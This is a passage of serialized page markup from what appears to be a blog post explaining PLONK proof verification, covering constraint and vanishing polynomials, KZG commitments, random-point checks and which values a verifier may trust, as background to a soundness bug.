",{"type":24,"tag":154,"props":144720,"children":144722},{"className":144721},[5642,5643],[144723],{"type":24,"tag":158,"props":144724,"children":144726},{"className":144725},[5648],[144727],{"type":24,"tag":158,"props":144728,"children":144730},{"className":144729,"ariaHidden":3185},[5653],[144731],{"type":24,"tag":158,"props":144732,"children":144734},{"className":144733},[5658],[144735,144739],{"type":24,"tag":158,"props":144736,"children":144738},{"className":144737,"style":143576},[5663],[],{"type":24,"tag":158,"props":144740,"children":144742},{"className":144741},[5669,22832],[144743],{"type":29,"value":1832},{"type":29,"value":347},{"type":24,"tag":144746,"props":144747,"children":144748},"polynomial-interpolation-panel",{},[],{"type":24,"tag":25,"props":144750,"children":144751},{},[144752,144754,144794,144796,144862,144864,144994,144996,145036,145038,145078,145080,145120,145121,145243],{"type":29,"value":144753},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":24,"tag":154,"props":144755,"children":144757},{"className":144756},[5642,5643],[144758],{"type":24,"tag":158,"props":144759,"children":144761},{"className":144760},[5648],[144762],{"type":24,"tag":158,"props":144763,"children":144765},{"className":144764,"ariaHidden":3185},[5653],[144766],{"type":24,"tag":158,"props":144767,"children":144769},{"className":144768},[5658],[144770,144774,144779,144784,144789],{"type":24,"tag":158,"props":144771,"children":144773},{"className":144772,"style":5771},[5663],[],{"type":24,"tag":158,"props":144775,"children":144777},{"className":144776,"style":22833},[5669,22832],[144778],{"type":29,"value":123103},{"type":24,"tag":158,"props":144780,"children":144782},{"className":144781},[22961],[144783],{"type":29,"value":504},{"type":24,"tag":158,"props":144785,"children":144787},{"className":144786},[5669,22832],[144788],{"type":29,"value":20518},{"type":24,"tag":158,"props":144790,"children":144792},{"className":144791},[22983],[144793],{"type":29,"value":521},{"type":29,"value":144795}," that combines selectors and witnesses. If the prover was honest, ",{"type":24,"tag":154,"props":144797,"children":144799},{"className":144798},[5642,5643],[144800],{"type":24,"tag":158,"props":144801,"children":144803},{"className":144802},[5648],[144804],{"type":24,"tag":158,"props":144805,"children":144807},{"className":144806,"ariaHidden":3185},[5653],[144808,144849],{"type":24,"tag":158,"props":144809,"children":144811},{"className":144810},[5658],[144812,144816,144821,144826,144831,144836,144840,144845],{"type":24,"tag":158,"props":144813,"children":144815},{"className":144814,"style":5771},[5663],[],{"type":24,"tag":158,"props":144817,"children":144819},{"className":144818,"style":22833},[5669,22832],[144820],{"type":29,"value":123103},{"type":24,"tag":158,"props":144822,"children":144824},{"className":144823},[22961],[144825],{"type":29,"value":504},{"type":24,"tag":158,"props":144827,"children":144829},{"className":144828},[5669,22832],[144830],{"type":29,"value":20518},{"type":24,"tag":158,"props":144832,"children":144834},{"className":144833},[22983],[144835],{"type":29,"value":521},{"type":24,"tag":158,"props":144837,"children":144839},{"className":144838,"style":5848},[5750],[],{"type":24,"tag":158,"props":144841,"children":144843},{"className":144842},[5853],[144844],{"type":29,"value":1285},{"type":24,"tag":158,"props":144846,"children":144848},{"className":144847,"style":5848},[5750],[],{"type":24,"tag":158,"props":144850,"children":144852},{"className":144851},[5658],[144853,144857],{"type":24,"tag":158,"props":144854,"children":144856},{"className":144855,"style":95356},[5663],[],{"type":24,"tag":158,"props":144858,"children":144860},{"className":144859},[5669],[144861],{"type":29,"value":5682},{"type":29,"value":144863}," at every row index in the domain. The vanishing polynomial ",{"type":24,"tag":154,"props":144865,"children":144867},{"className":144866},[5642,5643],[144868],{"type":24,"tag":158,"props":144869,"children":144871},{"className":144870},[5648],[144872],{"type":24,"tag":158,"props":144873,"children":144875},{"className":144874,"ariaHidden":3185},[5653],[144876,144918,144981],{"type":24,"tag":158,"props":144877,"children":144879},{"className":144878},[5658],[144880,144884,144890,144895,144900,144905,144909,144914],{"type":24,"tag":158,"props":144881,"children":144883},{"className":144882,"style":5771},[5663],[],{"type":24,"tag":158,"props":144885,"children":144887},{"className":144886,"style":23364},[5669,22832],[144888],{"type":29,"value":144889},"Z",{"type":24,"tag":158,"props":144891,"children":144893},{"className":144892},[22961],[144894],{"type":29,"value":504},{"type":24,"tag":158,"props":144896,"children":144898},{"className":144897},[5669,22832],[144899],{"type":29,"value":20518},{"type":24,"tag":158,"props":144901,"children":144903},{"className":144902},[22983],[144904],{"type":29,"value":521},{"type":24,"tag":158,"props":144906,"children":144908},{"className":144907,"style":5848},[5750],[],{"type":24,"tag":158,"props":144910,"children":144912},{"className":144911},[5853],[144913],{"type":29,"value":1285},{"type":24,"tag":158,"props":144915,"children":144917},{"className":144916,"style":5848},[5750],[],{"type":24,"tag":158,"props":144919,"children":144921},{"className":144920},[5658],[144922,144927,144968,144972,144977],{"type":24,"tag":158,"props":144923,"children":144926},{"className":144924,"style":144925},[5663],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":24,"tag":158,"props":144928,"children":144930},{"className":144929},[5669],[144931,144936],{"type":24,"tag":158,"props":144932,"children":144934},{"className":144933},[5669,22832],[144935],{"type":29,"value":20518},{"type":24,"tag":158,"props":144937,"children":144939},{"className":144938},[5686],[144940],{"type":24,"tag":158,"props":144941,"children":144943},{"className":144942},[5691],[144944],{"type":24,"tag":158,"props":144945,"children":144947},{"className":144946},[5696],[144948],{"type":24,"tag":158,"props":144949,"children":144951},{"className":144950,"style":110042},[5701],[144952],{"type":24,"tag":158,"props":144953,"children":144954},{"style":5705},[144955,144959],{"type":24,"tag":158,"props":144956,"children":144958},{"className":144957,"style":5711},[5710],[],{"type":24,"tag":158,"props":144960,"children":144962},{"className":144961},[5716,5717,5718,5719],[144963],{"type":24,"tag":158,"props":144964,"children":144966},{"className":144965},[5669,22832,5719],[144967],{"type":29,"value":57676},{"type":24,"tag":158,"props":144969,"children":144971},{"className":144970,"style":5751},[5750],[],{"type":24,"tag":158,"props":144973,"children":144975},{"className":144974},[5756],[144976],{"type":29,"value":5730},{"type":24,"tag":158,"props":144978,"children":144980},{"className":144979,"style":5751},[5750],[],{"type":24,"tag":158,"props":144982,"children":144984},{"className":144983},[5658],[144985,144989],{"type":24,"tag":158,"props":144986,"children":144988},{"className":144987,"style":95356},[5663],[],{"type":24,"tag":158,"props":144990,"children":144992},{"className":144991},[5669],[144993],{"type":29,"value":5672},{"type":29,"value":144995}," is zero on exactly those points, so if all constraints hold then ",{"type":24,"tag":154,"props":144997,"children":144999},{"className":144998},[5642,5643],[145000],{"type":24,"tag":158,"props":145001,"children":145003},{"className":145002},[5648],[145004],{"type":24,"tag":158,"props":145005,"children":145007},{"className":145006,"ariaHidden":3185},[5653],[145008],{"type":24,"tag":158,"props":145009,"children":145011},{"className":145010},[5658],[145012,145016,145021,145026,145031],{"type":24,"tag":158,"props":145013,"children":145015},{"className":145014,"style":5771},[5663],[],{"type":24,"tag":158,"props":145017,"children":145019},{"className":145018,"style":23364},[5669,22832],[145020],{"type":29,"value":144889},{"type":24,"tag":158,"props":145022,"children":145024},{"className":145023},[22961],[145025],{"type":29,"value":504},{"type":24,"tag":158,"props":145027,"children":145029},{"className":145028},[5669,22832],[145030],{"type":29,"value":20518},{"type":24,"tag":158,"props":145032,"children":145034},{"className":145033},[22983],[145035],{"type":29,"value":521},{"type":29,"value":145037}," divides ",{"type":24,"tag":154,"props":145039,"children":145041},{"className":145040},[5642,5643],[145042],{"type":24,"tag":158,"props":145043,"children":145045},{"className":145044},[5648],[145046],{"type":24,"tag":158,"props":145047,"children":145049},{"className":145048,"ariaHidden":3185},[5653],[145050],{"type":24,"tag":158,"props":145051,"children":145053},{"className":145052},[5658],[145054,145058,145063,145068,145073],{"type":24,"tag":158,"props":145055,"children":145057},{"className":145056,"style":5771},[5663],[],{"type":24,"tag":158,"props":145059,"children":145061},{"className":145060,"style":22833},[5669,22832],[145062],{"type":29,"value":123103},{"type":24,"tag":158,"props":145064,"children":145066},{"className":145065},[22961],[145067],{"type":29,"value":504},{"type":24,"tag":158,"props":145069,"children":145071},{"className":145070},[5669,22832],[145072],{"type":29,"value":20518},{"type":24,"tag":158,"props":145074,"children":145076},{"className":145075},[22983],[145077],{"type":29,"value":521},{"type":29,"value":145079},", yielding a quotient polynomial ",{"type":24,"tag":154,"props":145081,"children":145083},{"className":145082},[5642,5643],[145084],{"type":24,"tag":158,"props":145085,"children":145087},{"className":145086},[5648],[145088],{"type":24,"tag":158,"props":145089,"children":145091},{"className":145090,"ariaHidden":3185},[5653],[145092],{"type":24,"tag":158,"props":145093,"children":145095},{"className":145094},[5658],[145096,145100,145105,145110,145115],{"type":24,"tag":158,"props":145097,"children":145099},{"className":145098,"style":5771},[5663],[],{"type":24,"tag":158,"props":145101,"children":145103},{"className":145102,"style":22833},[5669,22832],[145104],{"type":29,"value":7637},{"type":24,"tag":158,"props":145106,"children":145108},{"className":145107},[22961],[145109],{"type":29,"value":504},{"type":24,"tag":158,"props":145111,"children":145113},{"className":145112},[5669,22832],[145114],{"type":29,"value":20518},{"type":24,"tag":158,"props":145116,"children":145118},{"className":145117},[22983],[145119],{"type":29,"value":521},{"type":29,"value":22748},{"type":24,"tag":154,"props":145122,"children":145124},{"className":145123},[5642,5643],[145125],{"type":24,"tag":158,"props":145126,"children":145128},{"className":145127},[5648],[145129],{"type":24,"tag":158,"props":145130,"children":145132},{"className":145131,"ariaHidden":3185},[5653],[145133,145174,145215],{"type":24,"tag":158,"props":145134,"children":145136},{"className":145135},[5658],[145137,145141,145146,145151,145156,145161,145165,145170],{"type":24,"tag":158,"props":145138,"children":145140},{"className":145139,"style":5771},[5663],[],{"type":24,"tag":158,"props":145142,"children":145144},{"className":145143,"style":22833},[5669,22832],[145145],{"type":29,"value":123103},{"type":24,"tag":158,"props":145147,"children":145149},{"className":145148},[22961],[145150],{"type":29,"value":504},{"type":24,"tag":158,"props":145152,"children":145154},{"className":145153},[5669,22832],[145155],{"type":29,"value":20518},{"type":24,"tag":158,"props":145157,"children":145159},{"className":145158},[22983],[145160],{"type":29,"value":521},{"type":24,"tag":158,"props":145162,"children":145164},{"className":145163,"style":5848},[5750],[],{"type":24,"tag":158,"props":145166,"children":145168},{"className":145167},[5853],[145169],{"type":29,"value":1285},{"type":24,"tag":158,"props":145171,"children":145173},{"className":145172,"style":5848},[5750],[],{"type":24,"tag":158,"props":145175,"children":145177},{"className":145176},[5658],[145178,145182,145187,145192,145197,145202,145206,145211],{"type":24,"tag":158,"props":145179,"children":145181},{"className":145180,"style":5771},[5663],[],{"type":24,"tag":158,"props":145183,"children":145185},{"className":145184,"style":22833},[5669,22832],[145186],{"type":29,"value":7637},{"type":24,"tag":158,"props":145188,"children":145190},{"className":145189},[22961],[145191],{"type":29,"value":504},{"type":24,"tag":158,"props":145193,"children":145195},{"className":145194},[5669,22832],[145196],{"type":29,"value":20518},{"type":24,"tag":158,"props":145198,"children":145200},{"className":145199},[22983],[145201],{"type":29,"value":521},{"type":24,"tag":158,"props":145203,"children":145205},{"className":145204,"style":5751},[5750],[],{"type":24,"tag":158,"props":145207,"children":145209},{"className":145208},[5756],[145210],{"type":29,"value":112587},{"type":24,"tag":158,"props":145212,"children":145214},{"className":145213,"style":5751},[5750],[],{"type":24,"tag":158,"props":145216,"children":145218},{"className":145217},[5658],[145219,145223,145228,145233,145238],{"type":24,"tag":158,"props":145220,"children":145222},{"className":145221,"style":5771},[5663],[],{"type":24,"tag":158,"props":145224,"children":145226},{"className":145225,"style":23364},[5669,22832],[145227],{"type":29,"value":144889},{"type":24,"tag":158,"props":145229,"children":145231},{"className":145230},[22961],[145232],{"type":29,"value":504},{"type":24,"tag":158,"props":145234,"children":145236},{"className":145235},[5669,22832],[145237],{"type":29,"value":20518},{"type":24,"tag":158,"props":145239,"children":145241},{"className":145240},[22983],[145242],{"type":29,"value":521},{"type":29,"value":347},{"type":24,"tag":25,"props":145245,"children":145246},{},[145247],{"type":24,"tag":84,"props":145248,"children":145251},{"alt":145249,"src":145250},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":24,"tag":395,"props":145253,"children":145255},{"id":145254},"polynomial-commitments-and-opening-proofs",[145256],{"type":29,"value":145257},"Polynomial commitments and opening proofs",{"type":24,"tag":25,"props":145259,"children":145260},{},[145261,145263,145268,145270,145275],{"type":29,"value":145262},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":24,"tag":32,"props":145264,"children":145265},{},[145266],{"type":29,"value":145267},"commitments",{"type":29,"value":145269},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":24,"tag":32,"props":145271,"children":145272},{},[145273],{"type":29,"value":145274},"opening proof",{"type":29,"value":145276}," that the claimed value is consistent with the earlier commitment.",{"type":24,"tag":25,"props":145278,"children":145279},{},[145280],{"type":29,"value":145281},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":24,"tag":395,"props":145283,"children":145285},{"id":145284},"reducing-to-a-single-random-point",[145286],{"type":29,"value":145287},"Reducing to a single random point",{"type":24,"tag":25,"props":145289,"children":145290},{},[145291,145293,145333,145335,145360,145362,145484,145486,145511],{"type":29,"value":145292},"After the prover commits to all polynomials, including ",{"type":24,"tag":154,"props":145294,"children":145296},{"className":145295},[5642,5643],[145297],{"type":24,"tag":158,"props":145298,"children":145300},{"className":145299},[5648],[145301],{"type":24,"tag":158,"props":145302,"children":145304},{"className":145303,"ariaHidden":3185},[5653],[145305],{"type":24,"tag":158,"props":145306,"children":145308},{"className":145307},[5658],[145309,145313,145318,145323,145328],{"type":24,"tag":158,"props":145310,"children":145312},{"className":145311,"style":5771},[5663],[],{"type":24,"tag":158,"props":145314,"children":145316},{"className":145315,"style":22833},[5669,22832],[145317],{"type":29,"value":7637},{"type":24,"tag":158,"props":145319,"children":145321},{"className":145320},[22961],[145322],{"type":29,"value":504},{"type":24,"tag":158,"props":145324,"children":145326},{"className":145325},[5669,22832],[145327],{"type":29,"value":20518},{"type":24,"tag":158,"props":145329,"children":145331},{"className":145330},[22983],[145332],{"type":29,"value":521},{"type":29,"value":145334},", the verifier picks a random challenge point ",{"type":24,"tag":154,"props":145336,"children":145338},{"className":145337},[5642,5643],[145339],{"type":24,"tag":158,"props":145340,"children":145342},{"className":145341},[5648],[145343],{"type":24,"tag":158,"props":145344,"children":145346},{"className":145345,"ariaHidden":3185},[5653],[145347],{"type":24,"tag":158,"props":145348,"children":145350},{"className":145349},[5658],[145351,145355],{"type":24,"tag":158,"props":145352,"children":145354},{"className":145353,"style":112166},[5663],[],{"type":24,"tag":158,"props":145356,"children":145358},{"className":145357,"style":114882},[5669,22832],[145359],{"type":29,"value":114885},{"type":29,"value":145361}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":24,"tag":154,"props":145363,"children":145365},{"className":145364},[5642,5643],[145366],{"type":24,"tag":158,"props":145367,"children":145369},{"className":145368},[5648],[145370],{"type":24,"tag":158,"props":145371,"children":145373},{"className":145372,"ariaHidden":3185},[5653],[145374,145415,145456],{"type":24,"tag":158,"props":145375,"children":145377},{"className":145376},[5658],[145378,145382,145387,145392,145397,145402,145406,145411],{"type":24,"tag":158,"props":145379,"children":145381},{"className":145380,"style":5771},[5663],[],{"type":24,"tag":158,"props":145383,"children":145385},{"className":145384,"style":22833},[5669,22832],[145386],{"type":29,"value":123103},{"type":24,"tag":158,"props":145388,"children":145390},{"className":145389},[22961],[145391],{"type":29,"value":504},{"type":24,"tag":158,"props":145393,"children":145395},{"className":145394,"style":114882},[5669,22832],[145396],{"type":29,"value":114885},{"type":24,"tag":158,"props":145398,"children":145400},{"className":145399},[22983],[145401],{"type":29,"value":521},{"type":24,"tag":158,"props":145403,"children":145405},{"className":145404,"style":5848},[5750],[],{"type":24,"tag":158,"props":145407,"children":145409},{"className":145408},[5853],[145410],{"type":29,"value":1285},{"type":24,"tag":158,"props":145412,"children":145414},{"className":145413,"style":5848},[5750],[],{"type":24,"tag":158,"props":145416,"children":145418},{"className":145417},[5658],[145419,145423,145428,145433,145438,145443,145447,145452],{"type":24,"tag":158,"props":145420,"children":145422},{"className":145421,"style":5771},[5663],[],{"type":24,"tag":158,"props":145424,"children":145426},{"className":145425,"style":22833},[5669,22832],[145427],{"type":29,"value":7637},{"type":24,"tag":158,"props":145429,"children":145431},{"className":145430},[22961],[145432],{"type":29,"value":504},{"type":24,"tag":158,"props":145434,"children":145436},{"className":145435,"style":114882},[5669,22832],[145437],{"type":29,"value":114885},{"type":24,"tag":158,"props":145439,"children":145441},{"className":145440},[22983],[145442],{"type":29,"value":521},{"type":24,"tag":158,"props":145444,"children":145446},{"className":145445,"style":5751},[5750],[],{"type":24,"tag":158,"props":145448,"children":145450},{"className":145449},[5756],[145451],{"type":29,"value":112587},{"type":24,"tag":158,"props":145453,"children":145455},{"className":145454,"style":5751},[5750],[],{"type":24,"tag":158,"props":145457,"children":145459},{"className":145458},[5658],[145460,145464,145469,145474,145479],{"type":24,"tag":158,"props":145461,"children":145463},{"className":145462,"style":5771},[5663],[],{"type":24,"tag":158,"props":145465,"children":145467},{"className":145466,"style":23364},[5669,22832],[145468],{"type":29,"value":144889},{"type":24,"tag":158,"props":145470,"children":145472},{"className":145471},[22961],[145473],{"type":29,"value":504},{"type":24,"tag":158,"props":145475,"children":145477},{"className":145476,"style":114882},[5669,22832],[145478],{"type":29,"value":114885},{"type":24,"tag":158,"props":145480,"children":145482},{"className":145481},[22983],[145483],{"type":29,"value":521},{"type":29,"value":145485}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":24,"tag":154,"props":145487,"children":145489},{"className":145488},[5642,5643],[145490],{"type":24,"tag":158,"props":145491,"children":145493},{"className":145492},[5648],[145494],{"type":24,"tag":158,"props":145495,"children":145497},{"className":145496,"ariaHidden":3185},[5653],[145498],{"type":24,"tag":158,"props":145499,"children":145501},{"className":145500},[5658],[145502,145506],{"type":24,"tag":158,"props":145503,"children":145505},{"className":145504,"style":112166},[5663],[],{"type":24,"tag":158,"props":145507,"children":145509},{"className":145508,"style":114882},[5669,22832],[145510],{"type":29,"value":114885},{"type":29,"value":145512}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":24,"tag":25,"props":145514,"children":145515},{},[145516,145518,145543,145545,145550],{"type":29,"value":145517},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":24,"tag":154,"props":145519,"children":145521},{"className":145520},[5642,5643],[145522],{"type":24,"tag":158,"props":145523,"children":145525},{"className":145524},[5648],[145526],{"type":24,"tag":158,"props":145527,"children":145529},{"className":145528,"ariaHidden":3185},[5653],[145530],{"type":24,"tag":158,"props":145531,"children":145533},{"className":145532},[5658],[145534,145538],{"type":24,"tag":158,"props":145535,"children":145537},{"className":145536,"style":112166},[5663],[],{"type":24,"tag":158,"props":145539,"children":145541},{"className":145540,"style":114882},[5669,22832],[145542],{"type":29,"value":114885},{"type":29,"value":145544},", the prover supplies ",{"type":24,"tag":32,"props":145546,"children":145547},{},[145548],{"type":29,"value":145549},"evaluation claims",{"type":29,"value":145551}," that must be checked against those commitments with opening proofs.",{"type":24,"tag":25,"props":145553,"children":145554},{},[145555,145557,145561],{"type":29,"value":145556},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":24,"tag":32,"props":145558,"children":145559},{},[145560],{"type":29,"value":105869},{"type":29,"value":145562}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":24,"tag":395,"props":145564,"children":145566},{"id":145565},"what-the-verifier-is-actually-allowed-to-trust",[145567],{"type":29,"value":145568},"What the verifier is actually allowed to trust",{"type":24,"tag":25,"props":145570,"children":145571},{},[145572,145574,145579],{"type":29,"value":145573},"For this bug, one invariant matters more than the rest: ",{"type":24,"tag":897,"props":145575,"children":145576},{},[145577],{"type":29,"value":145578},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":29,"value":347},{"type":24,"tag":25,"props":145581,"children":145582},{},[145583,145585,145677,145678,145770,145772,145797,145799,145839,145840,145880,145881,145974,145975,146021,146023,146110,146111,146198,146199,146286],{"type":29,"value":145584},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":24,"tag":154,"props":145586,"children":145588},{"className":145587},[5642,5643],[145589],{"type":24,"tag":158,"props":145590,"children":145592},{"className":145591},[5648],[145593],{"type":24,"tag":158,"props":145594,"children":145596},{"className":145595,"ariaHidden":3185},[5653],[145597],{"type":24,"tag":158,"props":145598,"children":145600},{"className":145599},[5658],[145601,145605,145662,145667,145672],{"type":24,"tag":158,"props":145602,"children":145604},{"className":145603,"style":5771},[5663],[],{"type":24,"tag":158,"props":145606,"children":145608},{"className":145607},[5669],[145609,145614],{"type":24,"tag":158,"props":145610,"children":145612},{"className":145611,"style":23364},[5669,22832],[145613],{"type":29,"value":144889},{"type":24,"tag":158,"props":145615,"children":145617},{"className":145616},[5686],[145618],{"type":24,"tag":158,"props":145619,"children":145621},{"className":145620},[5691,22886],[145622,145651],{"type":24,"tag":158,"props":145623,"children":145625},{"className":145624},[5696],[145626,145646],{"type":24,"tag":158,"props":145627,"children":145629},{"className":145628,"style":143880},[5701],[145630],{"type":24,"tag":158,"props":145631,"children":145632},{"style":117574},[145633,145637],{"type":24,"tag":158,"props":145634,"children":145636},{"className":145635,"style":5711},[5710],[],{"type":24,"tag":158,"props":145638,"children":145640},{"className":145639},[5716,5717,5718,5719],[145641],{"type":24,"tag":158,"props":145642,"children":145644},{"className":145643,"style":94559},[5669,22832,5719],[145645],{"type":29,"value":94562},{"type":24,"tag":158,"props":145647,"children":145649},{"className":145648},[22989],[145650],{"type":29,"value":22992},{"type":24,"tag":158,"props":145652,"children":145654},{"className":145653},[5696],[145655],{"type":24,"tag":158,"props":145656,"children":145658},{"className":145657,"style":94408},[5701],[145659],{"type":24,"tag":158,"props":145660,"children":145661},{},[],{"type":24,"tag":158,"props":145663,"children":145665},{"className":145664},[22961],[145666],{"type":29,"value":504},{"type":24,"tag":158,"props":145668,"children":145670},{"className":145669,"style":114882},[5669,22832],[145671],{"type":29,"value":114885},{"type":24,"tag":158,"props":145673,"children":145675},{"className":145674},[22983],[145676],{"type":29,"value":521},{"type":29,"value":191},{"type":24,"tag":154,"props":145679,"children":145681},{"className":145680},[5642,5643],[145682],{"type":24,"tag":158,"props":145683,"children":145685},{"className":145684},[5648],[145686],{"type":24,"tag":158,"props":145687,"children":145689},{"className":145688,"ariaHidden":3185},[5653],[145690],{"type":24,"tag":158,"props":145691,"children":145693},{"className":145692},[5658],[145694,145698,145755,145760,145765],{"type":24,"tag":158,"props":145695,"children":145697},{"className":145696,"style":5771},[5663],[],{"type":24,"tag":158,"props":145699,"children":145701},{"className":145700},[5669],[145702,145707],{"type":24,"tag":158,"props":145703,"children":145705},{"className":145704},[5669,22832],[145706],{"type":29,"value":119289},{"type":24,"tag":158,"props":145708,"children":145710},{"className":145709},[5686],[145711],{"type":24,"tag":158,"props":145712,"children":145714},{"className":145713},[5691,22886],[145715,145744],{"type":24,"tag":158,"props":145716,"children":145718},{"className":145717},[5696],[145719,145739],{"type":24,"tag":158,"props":145720,"children":145722},{"className":145721,"style":94377},[5701],[145723],{"type":24,"tag":158,"props":145724,"children":145725},{"style":94381},[145726,145730],{"type":24,"tag":158,"props":145727,"children":145729},{"className":145728,"style":5711},[5710],[],{"type":24,"tag":158,"props":145731,"children":145733},{"className":145732},[5716,5717,5718,5719],[145734],{"type":24,"tag":158,"props":145735,"children":145737},{"className":145736},[5669,5719],[145738],{"type":29,"value":5672},{"type":24,"tag":158,"props":145740,"children":145742},{"className":145741},[22989],[145743],{"type":29,"value":22992},{"type":24,"tag":158,"props":145745,"children":145747},{"className":145746},[5696],[145748],{"type":24,"tag":158,"props":145749,"children":145751},{"className":145750,"style":94408},[5701],[145752],{"type":24,"tag":158,"props":145753,"children":145754},{},[],{"type":24,"tag":158,"props":145756,"children":145758},{"className":145757},[22961],[145759],{"type":29,"value":504},{"type":24,"tag":158,"props":145761,"children":145763},{"className":145762,"style":114882},[5669,22832],[145764],{"type":29,"value":114885},{"type":24,"tag":158,"props":145766,"children":145768},{"className":145767},[22983],[145769],{"type":29,"value":521},{"type":29,"value":145771},", the public-input polynomial at ",{"type":24,"tag":154,"props":145773,"children":145775},{"className":145774},[5642,5643],[145776],{"type":24,"tag":158,"props":145777,"children":145779},{"className":145778},[5648],[145780],{"type":24,"tag":158,"props":145781,"children":145783},{"className":145782,"ariaHidden":3185},[5653],[145784],{"type":24,"tag":158,"props":145785,"children":145787},{"className":145786},[5658],[145788,145792],{"type":24,"tag":158,"props":145789,"children":145791},{"className":145790,"style":112166},[5663],[],{"type":24,"tag":158,"props":145793,"children":145795},{"className":145794,"style":114882},[5669,22832],[145796],{"type":29,"value":114885},{"type":29,"value":145798},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":24,"tag":154,"props":145800,"children":145802},{"className":145801},[5642,5643],[145803],{"type":24,"tag":158,"props":145804,"children":145806},{"className":145805},[5648],[145807],{"type":24,"tag":158,"props":145808,"children":145810},{"className":145809,"ariaHidden":3185},[5653],[145811],{"type":24,"tag":158,"props":145812,"children":145814},{"className":145813},[5658],[145815,145819,145824,145829,145834],{"type":24,"tag":158,"props":145816,"children":145818},{"className":145817,"style":5771},[5663],[],{"type":24,"tag":158,"props":145820,"children":145822},{"className":145821},[5669,22832],[145823],{"type":29,"value":101},{"type":24,"tag":158,"props":145825,"children":145827},{"className":145826},[22961],[145828],{"type":29,"value":504},{"type":24,"tag":158,"props":145830,"children":145832},{"className":145831,"style":114882},[5669,22832],[145833],{"type":29,"value":114885},{"type":24,"tag":158,"props":145835,"children":145837},{"className":145836},[22983],[145838],{"type":29,"value":521},{"type":29,"value":191},{"type":24,"tag":154,"props":145841,"children":145843},{"className":145842},[5642,5643],[145844],{"type":24,"tag":158,"props":145845,"children":145847},{"className":145846},[5648],[145848],{"type":24,"tag":158,"props":145849,"children":145851},{"className":145850,"ariaHidden":3185},[5653],[145852],{"type":24,"tag":158,"props":145853,"children":145855},{"className":145854},[5658],[145856,145860,145865,145870,145875],{"type":24,"tag":158,"props":145857,"children":145859},{"className":145858,"style":5771},[5663],[],{"type":24,"tag":158,"props":145861,"children":145863},{"className":145862},[5669,22832],[145864],{"type":29,"value":741},{"type":24,"tag":158,"props":145866,"children":145868},{"className":145867},[22961],[145869],{"type":29,"value":504},{"type":24,"tag":158,"props":145871,"children":145873},{"className":145872,"style":114882},[5669,22832],[145874],{"type":29,"value":114885},{"type":24,"tag":158,"props":145876,"children":145878},{"className":145877},[22983],[145879],{"type":29,"value":521},{"type":29,"value":191},{"type":24,"tag":154,"props":145882,"children":145884},{"className":145883},[5642,5643],[145885],{"type":24,"tag":158,"props":145886,"children":145888},{"className":145887},[5648],[145889],{"type":24,"tag":158,"props":145890,"children":145892},{"className":145891,"ariaHidden":3185},[5653],[145893],{"type":24,"tag":158,"props":145894,"children":145896},{"className":145895},[5658],[145897,145901,145959,145964,145969],{"type":24,"tag":158,"props":145898,"children":145900},{"className":145899,"style":5771},[5663],[],{"type":24,"tag":158,"props":145902,"children":145904},{"className":145903},[5669],[145905,145911],{"type":24,"tag":158,"props":145906,"children":145908},{"className":145907,"style":94811},[5669,22832],[145909],{"type":29,"value":145910},"σ",{"type":24,"tag":158,"props":145912,"children":145914},{"className":145913},[5686],[145915],{"type":24,"tag":158,"props":145916,"children":145918},{"className":145917},[5691,22886],[145919,145948],{"type":24,"tag":158,"props":145920,"children":145922},{"className":145921},[5696],[145923,145943],{"type":24,"tag":158,"props":145924,"children":145926},{"className":145925,"style":94377},[5701],[145927],{"type":24,"tag":158,"props":145928,"children":145929},{"style":94858},[145930,145934],{"type":24,"tag":158,"props":145931,"children":145933},{"className":145932,"style":5711},[5710],[],{"type":24,"tag":158,"props":145935,"children":145937},{"className":145936},[5716,5717,5718,5719],[145938],{"type":24,"tag":158,"props":145939,"children":145941},{"className":145940},[5669,5719],[145942],{"type":29,"value":5672},{"type":24,"tag":158,"props":145944,"children":145946},{"className":145945},[22989],[145947],{"type":29,"value":22992},{"type":24,"tag":158,"props":145949,"children":145951},{"className":145950},[5696],[145952],{"type":24,"tag":158,"props":145953,"children":145955},{"className":145954,"style":94408},[5701],[145956],{"type":24,"tag":158,"props":145957,"children":145958},{},[],{"type":24,"tag":158,"props":145960,"children":145962},{"className":145961},[22961],[145963],{"type":29,"value":504},{"type":24,"tag":158,"props":145965,"children":145967},{"className":145966,"style":114882},[5669,22832],[145968],{"type":29,"value":114885},{"type":24,"tag":158,"props":145970,"children":145972},{"className":145971},[22983],[145973],{"type":29,"value":521},{"type":29,"value":191},{"type":24,"tag":154,"props":145976,"children":145978},{"className":145977},[5642,5643],[145979],{"type":24,"tag":158,"props":145980,"children":145982},{"className":145981},[5648],[145983],{"type":24,"tag":158,"props":145984,"children":145986},{"className":145985,"ariaHidden":3185},[5653],[145987],{"type":24,"tag":158,"props":145988,"children":145990},{"className":145989},[5658],[145991,145995,146000,146005,146010,146016],{"type":24,"tag":158,"props":145992,"children":145994},{"className":145993,"style":5771},[5663],[],{"type":24,"tag":158,"props":145996,"children":145998},{"className":145997},[5669,22832],[145999],{"type":29,"value":101},{"type":24,"tag":158,"props":146001,"children":146003},{"className":146002},[22961],[146004],{"type":29,"value":504},{"type":24,"tag":158,"props":146006,"children":146008},{"className":146007,"style":114882},[5669,22832],[146009],{"type":29,"value":114885},{"type":24,"tag":158,"props":146011,"children":146013},{"className":146012,"style":94811},[5669,22832],[146014],{"type":29,"value":146015},"ω",{"type":24,"tag":158,"props":146017,"children":146019},{"className":146018},[22983],[146020],{"type":29,"value":521},{"